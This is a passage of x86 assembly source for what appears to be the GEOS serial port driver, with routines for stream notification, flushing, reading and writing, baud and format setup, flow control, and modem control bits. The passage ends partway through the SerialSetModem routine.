%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set a notifier for the caller. If SNT_EVENT is SNE_ERROR,
SNT_READER must be set, as errors are posted only to the
reading side of the stream.
If SNT_EVENT is SNE_PASSIVE, SNT_READER must be set
and the unit number must be for a passive port.
If the passive port has a full buffer or has been
preempted, a notification will be sent out immediately.
CALLED BY: DR_STREAM_SET_NOTIFY
PASS: ax = StreamNotifyType
bx = unit number (transformed to SerialPortData offset by
SerialStrategy).
cx:dx = address of handling routine, if SNM_ROUTINE;
destination of output if SNM_MESSAGE
bp = AX to pass if SNM_ROUTINE (except for SNE_DATA with
threshold of 1, in which case value is passed in CX);
method to send if SNM_MESSAGE.
RETURN: nothing
DESTROYED: ax, bx (saved by SerialStrategy)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 6/90 Initial version
jdashe 5/13/90 Added support for passive notifications
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment resource
SerialSetNotify proc near uses si, dx
.enter
;
; See if the event in question is ours
;
mov si, ax
andnf si, mask SNT_EVENT
cmp si, SNE_MODEM shl offset SNT_EVENT
je setupModemEvent ; jump if a modem event
cmp si, SNE_PASSIVE shl offset SNT_EVENT
jne handOff ; Nope -- hand off to stream driver
;
; We're setting a passive notification, so make sure it's a
; passive port. Also make sure it's being set for the reader.
;
EC < test ds:[bx].SPD_passive, mask SPS_PASSIVE >
EC < ERROR_Z NOT_A_PASSIVE_PORT >
EC < test ax, mask SNT_READER >
EC < ERROR_Z BAD_CONTEXT_FOR_PASSIVE_PORT >
EC < xchg bx, si >
EC < call ECSerialVerifyPassive >
EC < xchg bx, si >
;
; Store the parameters in our very own SPD_passiveEvent structure.
;
lea si, ds:[bx].SPD_passiveEvent
call SerialSetNotificationEvent ; ax <- SNT_HOW only
;
; If there are any pending notifications for this passive
; port, send them off now.
;
test ds:[bx].SPD_passive, (mask SPS_PREEMPTED or \
mask SPS_BUFFER_FULL)
jz doneOK
tst ax ; clearing the notification?
jz doneOK ; jump if clearing.
push cx
clr cx
test ds:[bx].SPD_passive, mask SPS_PREEMPTED
jz detectBufferFull
mov cx, mask SPNS_PREEMPTED or mask SPNS_PREEMPTED_CHANGED
detectBufferFull:
test ds:[bx].SPD_passive, mask SPS_BUFFER_FULL
jz sendNotify
ornf cx, (mask SPNS_BUFFER_FULL or \
mask SPNS_BUFFER_FULL_CHANGED)
sendNotify:
xchg bx, si ; ds:si <- port data
call SerialPassiveNotify
xchg bx, si ; ds:bx <- port data
pop cx
jmp doneOK
setupModemEvent:
;
; Were's setting the modem notification. Store the parameters in our
; very own SPD_modemEvent structure.
;
lea si, ds:[bx].SPD_modemEvent
call SerialSetNotificationEvent ; ax <- SNT_HOW only
if NOTIFY_WHEN_SNE_MODEM_CHANGED
call SerialNotifyModemNotifierChanged
endif
;
; Enable/disable modem status interrupts for the port.
;
CheckHack <SNM_NONE eq 0>
tst ax
mov al, ds:[bx].SPD_ien
jz disable ; SNT_HOW is SNM_NONE, so no longer
; interested in modem interrupts
; ZSIEN_MODEM HAPPENS TO BE THE SAME AS SIEN_MODEM SO I JUST
; LEFT THE CODE IN AS IS RATHER THAN CHECKING TO SEE WHICH
; TO USE IN THE ZOOMER CODE
ornf al, mask SIEN_MODEM
jmp setModem
disable:
test ds:[bx].SPD_mode, mask SF_HARDWARE
jnz done ; Leave modem ints on for hwfc
andnf al, not mask SIEN_MODEM
setModem:
mov dx, ds:[bx].SPD_base
add dx, offset SP_ien
mov ds:[bx].SPD_ien, al
out dx, al
jmp doneOK
handOff:
;
; Hand off the call to the stream driver passing the proper stream.
; Note that if the caller sets an error notifier for the writer,
; it won't have any effect, since errors are posted only to the
; input stream.
;
mov si, ds:[bx].SPD_inStream ; Assume reader...
test ax, mask SNT_READER
jnz 10$
mov si, ds:[bx].SPD_outStream
10$:
mov bx, si
tst bx
stc
jz done
call StreamStrategy
doneOK:
clc
done:
.leave
ret
SerialSetNotify endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetNotificationEvent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Loads a StreamNotifier structure.
CALLED BY: SerialSetNotify
PASS: ax = StreamNotifyType
cx:dx = address of handling routine, if SNM_ROUTINE;
destination of output if SNM_MESSAGE
bp = AX to pass if SNM_ROUTINE (except for SNE_DATA with
threshold of 1, in which case value is passed in CX);
method to send if SNM_MESSAGE.
ds:si = StreamNotifier to load
RETURN: ax = just the SN_type
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
jdashe 5/27/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialSetNotificationEvent proc near
.enter
andnf ax, mask SNT_HOW
mov ds:[si].SN_type, al
mov ds:[si].SN_dest.SND_routine.low, dx
mov ds:[si].SN_dest.SND_routine.high, cx
mov ds:[si].SN_data, bp
.leave
ret
SerialSetNotificationEvent endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialFlush
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handler for the serial driver's DR_STREAM_FLUSH. If called
for an active port, pass straight through to SerialHandOff.
A passive port will call SerialHandOff to flush pending data,
then reset the writer's SSD_ptr to SD_data.
CALLED BY: DR_STREAM_FLUSH
PASS: bx = unit number (transformed to SerialPortData by
SerialStrategy)
di = function code
ax = STREAM_READ to apply only to reading
STREAM_WRITE to apply only to writing
STREAM_BOTH to apply to both (valid only for
DR_STREAM_FLUSH and DR_STREAM_SET_THRESHOLD)
RETURN: nothing
DESTROYED: bx (saved by SerialStrategy)
REVISION HISTORY:
Name Date Description
---- ---- -----------
jdashe 6/15/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment resource
SerialFlush proc near
.enter
;
; If this is an active port, jump straight to SerialHandOff.
;
test ds:[bx].SPD_passive, mask SPS_PASSIVE
jnz handlePassive
call SerialHandOff
jmp exit
handlePassive:
push bx
call SerialHandOff
pop bx
mov bx, ds:[bx].SPD_inStream
tst bx ; Is there an input stream?
jz exit ; If not, leave.
;
; Reset the passive port's input stream pointer to the head of the
; buffer. Must change both reader and writer pointers because
; they must be equal when the stream is empty!!
;
push ds
mov ds, bx ; ds:0 <- StreamData
mov ds:SD_writer.SSD_ptr, offset SD_data
mov ds:SD_reader.SSD_ptr, offset SD_data
pop ds
exit:
.leave
ret
SerialFlush endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ECVerifyReadWriteBothFlag
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: EC: Make sure ax holds STREAM_READ, STREAM_WRITE or STREAM_BOTH
CALLED BY: (INTERNAL)
PASS: ax = one of those
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS: death if bad data
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 8/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if ERROR_CHECK
ECVerifyReadWriteBothFlag proc near
.enter
cmp ax, STREAM_READ
je notAHoser
cmp ax, STREAM_WRITE
je notAHoser
cmp ax, STREAM_BOTH
je notAHoser
ERROR AX_NOT_STREAM_WRITE_OR_STREAM_READ_OR_STREAM_BOTH
notAHoser:
.leave
ret
ECVerifyReadWriteBothFlag endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialHandOff
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Pass a call on to the stream driver for one or both of the
streams associated with the port, passing the appropriate
side for each.
CALLED BY: DR_STREAM_GET_ERROR (STREAM_BOTH should *not* be given),
DR_STREAM_SET_ERROR, DR_STREAM_FLUSH, DR_STREAM_SET_THRESHOLD,
DR_STREAM_QUERY
PASS: bx = unit number (transformed to SerialPortData by
SerialStrategy)
di = function code
ax = STREAM_READ to apply only to reading
STREAM_WRITE to apply only to writing
STREAM_BOTH to apply to both (valid only for
DR_STREAM_FLUSH and DR_STREAM_SET_THRESHOLD)
RETURN: ?
DESTROYED: bx (saved by SerialStrategy)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 6/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialHandOff proc near
.enter
CheckHack <(STREAM_WRITE AND 1) eq 0 and (STREAM_BOTH AND 1) eq 0 and (STREAM_BOTH lt 0) and (STREAM_READ lt 0) and (STREAM_READ AND 1) ne 0>
EC < call ECVerifyReadWriteBothFlag >
;
; If this is a passive port, set ax to STREAM_READ only.
;
test ds:[bx].SPD_passive, mask SPS_PASSIVE
jz testStreamSelection
EC < push si >
EC < mov si, bx >
EC < call ECSerialVerifyPassive >
EC < pop si >
mov ax, STREAM_READ
;
; If we're clearing out the buffer for the passive buffer,
; clear the full buffer flag just to be sure.
;
cmp di, DR_STREAM_FLUSH
jne testStreamSelection
andnf ds:[bx].SPD_passive, not (mask SPS_BUFFER_FULL)
testStreamSelection:
;
; See if output stream affected (STREAM_WRITE and STREAM_BOTH both have
; the low bit 0)
;
test ax, 1
jnz readOnly
push ax, bx, di
mov ax, STREAM_WRITE
mov bx, ds:[bx].SPD_outStream
tst bx
jz 10$
call StreamStrategy
10$:
pop bx, di
XchgTopStack ax ; Preserve possible return value from
; function if STREAM_WRITE specified
;
; See if input also affected (STREAM_READ and STREAM_BOTH are
; both < 0).
;
tst ax
pop ax ; Recover possible result...
jns done
readOnly:
mov ax, STREAM_READ
mov bx, ds:[bx].SPD_inStream
tst bx
jz done
call StreamStrategy
done:
.leave
ret
SerialHandOff endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialRead
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Read data from a port
CALLED BY: DR_STREAM_READ
PASS: bx = unit number (transformed to SerialPortData by
SerialStrategy)
ax = STREAM_BLOCK/STREAM_NO_BLOCK
cx = number of bytes to read
ds:si = buffer to which to read
RETURN: cx = number of bytes read
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 6/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialRead proc near
.enter
mov bx, ds:[bx].SPD_inStream
tst bx
jz noInputStream
segmov ds, es ; Restore ds from entry
call StreamStrategy
done:
.leave
ret
noInputStream:
clr cx
stc
jmp done
SerialRead endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialReadByte
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Read a single byte from a port
CALLED BY: DR_STREAM_READ_BYTE
PASS: ax = STREAM_BLOCK/STREAM_NO_BLOCK
bx = unit number (transformed to SerialPortData by
SerialStrategy)
RETURN: al = byte read
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 6/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialReadByte proc near
.enter
mov bx, ds:[bx].SPD_inStream
tst bx
jz noInputStream
call StreamStrategy
done:
.leave
ret
noInputStream:
stc
jmp done
SerialReadByte endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialWrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write a buffer to the serial port.
CALLED BY: DR_STREAM_WRITE
PASS: ax = STREAM_BLOCK/STREAM_NO_BLOCK
bx = unit number (transformed to SerialPortData by
SerialStrategy)
cx = number of bytes to write
es:si = buffer from which to write (ds moved to es by
SerialStrategy)
di = DR_STREAM_WRITE
RETURN: cx = number of bytes written
DESTROYED: bx (preserved by SerialStrategy)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 6/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialWrite proc near
.enter
mov bx, ds:[bx].SPD_outStream
tst bx
jz noOutputStream
segmov ds, es ; ds <- buffer segment for
; stream driver
call StreamStrategy
done:
.leave
ret
noOutputStream:
clr cx
stc
jmp done
SerialWrite endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialWriteByte
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write a byte to the serial port.
CALLED BY: DR_STREAM_WRITE_BYTE
PASS: ax = STREAM_BLOCK/STREAM_NO_BLOCK
bx = unit number (transformed to SerialPortData by
SerialStrategy)
cl = byte to write
di = DR_STREAM_WRITE_BYTE
RETURN: carry set if byte could not be written and STREAM_NO_BLOCK
was specified
DESTROYED: bx (preserved by SerialStrategy)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 6/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialWriteByte proc near
.enter
mov bx, ds:[bx].SPD_outStream
tst bx
jz noOutputStream
call StreamStrategy
done:
.leave
ret
noOutputStream:
stc
jmp done
SerialWriteByte endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetFormatPC
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set format for a PC-like serial port
CALLED BY: SerialSetFormat
PASS: al = data format (SerialFormat)
ah = SerialMode
bx = unit number (transformed to SerialPortData by
SerialStrategy)
cx = baud rate (SerialBaud)
RETURN: Void.
DESTROYED: ax, cx, dx
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
If this is called on a preempted passive port, the
hardware is not modified, only the curState for the
passive port and the initState for the active port.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 5/ 3/93 Initial version.
jdashe 5/26/94 passive support added
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialSetFormatPC proc near
.enter
mov ds:[bx].SPD_curState.SPS_baud, cx
mov ds:[bx].SPD_curState.SPS_format, al
if _FUNKY_INFRARED
;
; For our funky infrared dongles, the DTR & RTS signals tell the
; thing what baud rate we're using. If the medium is infrared, adjust
; the modem control signals appropriately.
;
mov dl, ds:[bx].SPD_curState.SPS_modem
cmp ds:[bx].SPD_medium.MET_manuf,
MANUFACTURER_ID_GEOWORKS
jne setState
cmp ds:[bx].SPD_medium.MET_id, GMID_INFRARED
jne setState
mov dh, mask SMC_RTS
cmp cx, SB_9600
je modifyModem
mov dh, mask SMC_DTR
cmp cx, SB_19200
je modifyModem
mov dh, mask SMC_RTS or mask SMC_DTR
cmp cx, SB_115200
jne fail
modifyModem:
andnf dl, not (mask SMC_RTS or mask SMC_DTR)
or dl, dh
setState:
mov ds:[bx].SPD_curState.SPS_modem, dl
endif ; _FUNKY_INFRARED
test ds:[bx].SPD_passive, mask SPS_PREEMPTED
jz normalSet
;
; This is a preempted port. Make the change in the port's
; curState and in the active port's initState, so it'll take
; effect when the preempted port regains control.
;
EC < xchg bx, si >
EC < call ECSerialVerifyPassive >
EC < xchg bx, si >
mov bx, ds:[bx].SPD_otherPortData
call SysEnterCritical
mov ds:[bx].SPD_initState.SPS_baud, cx
mov ds:[bx].SPD_initState.SPS_format, al
if _FUNKY_INFRARED
mov ds:[bx].SPD_initState.SPS_modem, dl
endif ; _FUNKY_INFRARED
call SysExitCritical
mov bx, ds:[bx].SPD_otherPortData
jmp done
normalSet:
;
; Establish the format right away while setting DLAB, allowing
; us to store the new baud rate as well.
;
mov dx, ds:[bx].SPD_base
add dx, offset SP_lineCtrl
ornf al, mask SF_DLAB
out dx, al
;
; Stuff the new baud rate in its two pieces.
;
sub dx, offset SP_lineCtrl - offset SP_divLow
xchg ax, cx
out dx, al
inc dx
mov al, ah
out dx, al
;
; Restore the data format and stuff it again after clearing DLAB (this
; is also a nice, painless way to make sure the user passing us DLAB
; set causes us no problems).
;
xchg cx, ax
andnf al, not mask SF_DLAB
add dx, offset SP_lineCtrl - offset SP_divHigh
out dx, al
if _FUNKY_INFRARED
;
; Set modem control signals for IR baud rate
;
mov al, ds:[bx].SPD_curState.SPS_modem
sub dx, offset SP_modemCtrl - offset SP_lineCtrl
out dx, al
endif ; _FUNKY_INFRARED
done:
clc
exit::
.leave
ret
if _FUNKY_INFRARED
fail:
mov ax, STREAM_UNSUPPORTED_FORMAT
stc
jmp exit
endif ; _FUNKY_INFRARED
SerialSetFormatPC endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetFormat
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the data format and baud rate and mode for a port
CALLED BY: DR_SERIAL_SET_FORMAT
PASS: al = data format (SerialFormat)
ah = SerialMode
bx = unit number (transformed to SerialPortData by
SerialStrategy)
cx = baud rate (SerialBaud)
RETURN: carry set if passed an invalid format
DESTROYED: ax, cx, bx (preserved by SerialStrategy)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/13/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialSetFormat proc near uses dx
.enter
INT_OFF
call SerialSetFormatPC
jc done
;
; Adjust for the passed mode.
; dl <- SerialFlow with SF_SOFTWARE adjusted properly
; dh <- byte mask for input bytes (0x7f or 0xff)
;
mov dl, ds:[bx].SPD_mode
ornf dl, mask SF_SOFTWARE
mov dh, 0x7f ; dl, dh <- assume cooked
cmp ah, SM_RARE
CheckHack <SM_COOKED gt SM_RARE>
ja haveMode ; => is cooked
mov dh, 0xff ; else set 8-bit data input
CheckHack <SM_RAW lt SM_RARE>
je haveMode
;
; RAW mode -- turn off all aspects of software flow-control
;
andnf dl, not (mask SF_SOFTWARE or mask SF_XON or \
mask SF_XOFF or mask SF_SOFTSTOP)
test dl, mask SF_HARDWARE
jnz haveMode
;
; raw mode with no hardware flow control, so no flow control at all
; ( save some cycles in SerialInt or MiniSerialInt code )
;
andnf dl, not (mask SF_OUTPUT or mask SF_INPUT)
haveMode:
mov ds:[bx].SPD_byteMask, dh
call SerialAdjustFCCommon
done:
INT_ON
.leave
ret
SerialSetFormat endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialAdjustFCCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Have a new SerialFlow record that may have turned off
output flowcontrol, and therefore overridden a hard or
soft stop. Set the new mode and reenable transmission if
there was a change.
CALLED BY: (INTERNAL) SerialSetFormat, SerialSetFlowControl,
SerialEnableFlowControl
PASS: ds:bx = SerialPortData
dl = SerialFlow to set
interrupts *OFF*
RETURN: carry clear
interrupts *ON*
DESTROYED: dx, ax
SIDE EFFECTS: SPD_mode set, transmit interrupt may be set in SPD_ien
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 8/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialAdjustFCCommon proc near
.enter
;
; Set the new mode and get the mask of bits that have changed.
;
mov_tr ax, dx
xchg ds:[bx].SPD_mode, al
xor al, ds:[bx].SPD_mode
if NEW_ISR
;
; if any flow control is set, switch to flow control version of
; interrupt handlers. If flow control is cleared, switch to fast
; non-flow control version of interrupt handlers.
;
test ds:[bx].SPD_mode, mask SF_SOFTWARE or \
mask SF_HARDWARE
jz noFc
mov ds:[bx].SPD_handlers, offset FcHandlerTbl
jmp cont
noFc:
mov ds:[bx].SPD_handlers, offset QuickHandlerTbl
cont:
endif ; NEW_ISR
;
; al = mask of SerialFlow bits that changed.
;
test al, mask SF_SOFTSTOP or mask SF_HARDSTOP
jnz newIEN
;
; If hardware flow-control changed, we want to tweak the hardware,
; in case the modem-status interrupt has been enabled or disabled.
;
test al, mask SF_HARDWARE
jz done
newIEN:
;
; If preempted passive, don't tweak the hardware.
;
test ds:[bx].SPD_passive, mask SPS_PREEMPTED
jnz done
;
; We enable transmit always, even if it was just a change in the
; HWFC, but not in the softstop/hardstop flags, as it's smaller
; codewise and does everything we need to do when we do need to turn
; on the transmitter. In the case where we're just changing the
; modem interrupt, this yields an extra interrupt, but it will find
; the output stream empty, and no harm will be done.
;
call SerialEnableTransmit
done:
INT_ON
clc
.leave
ret
SerialAdjustFCCommon endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialGetFormatPC
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: get format for a PC-like serial port
CALLED BY: SerialGetFormat
PASS: ds:bx = SerialPortData
RETURN: al = SerialFormat
cx = SerialBaud
DESTROYED: Nada.
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 5/ 3/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialGetFormatPC proc near
.enter
mov al, ds:[bx].SPD_curState.SPS_format
mov cx, ds:[bx].SPD_curState.SPS_baud
.leave
ret
SerialGetFormatPC endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialGetFormat
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fetch the current format parameters for the port
CALLED BY: DR_SERIAL_GET_FORMAT
PASS: bx = unit number (transformed to SerialPortData by
SerialStrategy)
RETURN: al = SerialFormat
ah = SerialMode
cx = SerialBaud
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/13/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialGetFormat proc near uses dx
.enter
INT_OFF
;
; Compute the current mode based on the SF_SOFTWARE and byteMask
; settings.
;
mov ah, SM_RAW
test ds:[bx].SPD_mode, mask SF_SOFTWARE
jz haveMode
CheckHack <SM_RARE eq SM_RAW+1>
inc ah
cmp ds:[bx].SPD_byteMask, 0xff
je haveMode
CheckHack <SM_COOKED eq SM_RARE+1>
inc ah
haveMode:
;
; Fetch the pieces of the current baud divisor into cx
;
if STANDARD_PC_HARDWARE
call SerialGetFormatPC
endif ; STANDARD_PC_HARDWARE
INT_ON
.leave
ret
SerialGetFormat endp
Resident ends
if LOG_MODEM_SETTINGS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialLogModemSettings
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write the SerialModem settings to the log file
CALLED BY: (Internal) SerialSetModem
PASS: al = SerialModem
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
grisco 1/15/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SBCS < serialModemString char "RI,DCD,CTS,DSR = 0,0,0,0",0 >
DBCS < serialModemString wchar "RI,DCD,CTS,DSR = 0,0,0,0",0 >
SerialLogModemSettings proc near
uses ax,cx,si,di,ds,es
.enter
;
; Copy string template to the stack
;
mov cx, cs
segmov ds, cx
mov si, offset serialModemString ; ds:si = string
sub sp, size serialModemString
mov cx, ss
segmov es, cx
mov di, sp ; es:di = target
LocalCopyString SAVE_REGS ; copy to stack
;
; Loop to set up the string
;
mov si, di ; si = offset to start
SBCS < add di, size serialModemString-2 ; idx to last 0 >
DBCS < add di, size serialModemString-4 >
mov cx, 4 ; # bits to set
loopTop:
shr ax, 1 ; LSB in carry
jnc notSet
SBCS < mov {byte} es:[di], '1' >
DBCS < mov {word} es:[di], '1' >
notSet:
SBCS < dec di >
SBCS < dec di ; previous zero >
DBCS < sub di, 4 >
loop loopTop ; do the rest
segmov ds, es, ax ; ds:si = final string
call LogWriteEntry ; write the string
add sp, size serialModemString
.leave
ret
SerialLogModemSettings endp
Resident ends
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetModem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the modem-control bits for a port
CALLED BY: DR_SERIAL_SET_MODEM
PASS: al = modem control bits (SerialModem). SMC_OUT2 is
silently forced high.
bx = unit number (transformed to SerialPortData by
SerialStrategy)
RETURN: Nothing
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/14/90 Initial version
jdashe 5/26/94 added passive support
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialSetModem proc near uses dx
.enter
EC < test al, not SerialModem >
EC < ERROR_NZ BAD_MODEM_FLAGS >
if LOG_MODEM_SETTINGS
call SerialLogModemSettings
endif
;
; If this is a preempted port, set the modem-contol bits in
; curState and in the active port's initState, then leave
; without modifying the hardware.
;
test ds:[bx].SPD_passive, mask SPS_PREEMPTED
jz notPreempted
EC < xchg bx, si >
EC < call ECSerialVerifyPassive >
EC < xchg bx, si >
ornf al, mask SMC_OUT2
mov bx, ds:[bx].SPD_otherPortData
